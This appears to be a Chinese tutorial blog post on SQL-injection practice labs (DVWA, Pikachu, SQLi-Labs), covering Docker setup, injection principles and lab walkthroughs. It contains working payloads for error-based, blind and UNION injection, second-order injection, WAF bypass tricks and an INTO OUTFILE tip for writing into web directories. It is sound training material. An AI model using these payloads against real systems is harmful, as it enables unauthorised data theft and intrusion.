1. SQL注入靶场实验概述
SQL注入靶场是网络安全学习中最经典的实战环境之一。我第一次接触这类靶场是在2015年参加CTF比赛时,当时面对一个简单的登录框,输入admin'--居然直接获取了系统权限,那种震撼感至今难忘。这类靶场通过模拟真实Web应用中的SQL注入漏洞,让学习者可以在合法环境中练习攻击和防御技术。
典型的SQL注入靶场(如DVWA、Pikachu、SQLi-Labs)都包含以下核心模块:
- 基础注入:包含GET/POST型注入、报错注入等基础场景
- 盲注训练:布尔盲注和时间盲注的专项练习区
- 过滤绕过:针对WAF和各种防护措施的绕过技术
- 权限提升:从注入点到获取系统权限的完整链条
重要提示:所有实验务必在本地搭建的靶场环境进行,切勿对真实网站测试,以免触犯法律
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 主流SQL注入靶场环境搭建
2.1 DVWA靶场部署
DVWA(Damn Vulnerable Web Application)是最易上手的渗透测试平台之一,推荐使用Docker快速部署:
bash复制docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa
部署完成后访问http://localhost:8080,默认账号密码为admin/password。在DVWA Security模块中可调整安全等级(从Low到Impossible),对应不同的防护强度。
2.2 Pikachu靶场配置
Pikachu靶场以中文界面和详细漏洞说明著称,适合初学者:
- 从官网下载源码包
- 解压到Web服务器根目录(如/var/www/html)
- 导入数据库文件(pikachu.sql)
- 修改inc/config.inc.php中的数据库连接配置
该靶场特别设计了"暴力破解"和"XSS"等关联漏洞场景,可以练习组合攻击技巧。
2.3 SQLi-Labs进阶训练
SQLi-Labs是专注SQL注入的靶场,包含65个渐进式挑战:
bash复制git clone https://github.com/Audi-1/sqli-labs
cd sqli-labs/sql-connections
vim db-creds.inc # 修改数据库凭证
这个靶场的Less-5到Less-8专门训练盲注技术,Less-38到Less-45则涉及堆叠查询和二次注入等高级技巧。
3. SQL注入核心技术解析
3.1 基础注入原理
以最简单的数字型注入为例:
sql复制SELECT * FROM users WHERE id=1
构造注入参数1 OR 1=1--,实际执行语句变为:
sql复制SELECT * FROM users WHERE id=1 OR 1=1--'
这将返回所有用户数据。关键点在于:
- 单引号闭合原语句
- OR 1=1构造永真条件
- 注释符(--)消除后续语法干扰
3.2 报错注入技术
当页面显示数据库错误信息时,可利用报错注入获取数据。以MySQL为例:
sql复制1' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--+
这会产生XML解析错误,并返回当前数据库用户信息。其他常用函数:
- extractvalue()
- floor()+rand()
- geometrycollection()
3.3 盲注实战技巧
布尔盲注典型payload:
sql复制admin' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
通过响应差异判断字符是否正确。时间盲注则使用:
sql复制1' AND IF(ASCII(SUBSTR(database(),1,1))>100,SLEEP(5),0)--
如果首字母ASCII码大于100,页面将延迟5秒响应。
4. 靶场实战通关详解
4.1 DVWA Low级别注入
安全等级设为Low时,直接注入:
code复制1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--
可获取所有表名。继续查询列名:
code复制1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--
4.2 Pikachu搜索型注入
搜索框输入%' AND 1=1 UNION SELECT 1,user()#,需要注意:
- %匹配任意字符
- #替代--作为注释符
- 字段数需通过ORDER BY测试确定
4.3 SQLi-Labs Less-24二次注入
这个关卡模拟存储型注入:
- 注册用户名为
admin'--的账号 - 修改密码时,语句变为:
sql复制UPDATE users SET password='new_pass' WHERE username='admin'-- '
实际修改的是admin用户的密码
5. 防御措施与绕过技术
5.1 常见防护手段
- 输入过滤:
- 关键字过滤(SELECT, UNION等)
- 特殊字符过滤(单引号、注释符)
- 参数化查询:
python复制cursor.execute("SELECT * FROM users WHERE id=%s", (user_id,)) - WAF规则:
- 检测异常请求频率
- 阻断特定攻击特征
5.2 高级绕过方法
- 编码绕过:
- HEX编码:
0x61646D696E替代'admin' - CHAR函数:
CHAR(97,100,109,105,110)
- HEX编码:
- 注释混淆:
sql复制S/**/EL/**/ECT 1,2,3 - 等价替换:
||替代OR&&替代AND
6. 靶场实验中的常见问题
- 页面无回显:
- 尝试时间盲注
- 检查是否HTTP头中有数据(如X-Forwarded-For)
- 过滤引号:
- 使用
LIKE配合通配符 - 尝试数字型注入
- 使用
- 权限不足:
- 使用
INTO OUTFILE写入Web目录 - 尝试堆叠查询执行多条语句
- 使用
我在实际测试中发现,Pikachu靶场的"insert型注入"关卡最容易出错,因为需要同时处理字段数和插入语法。建议先用Burp Suite抓包分析请求结构,再构造正确的注入语句。
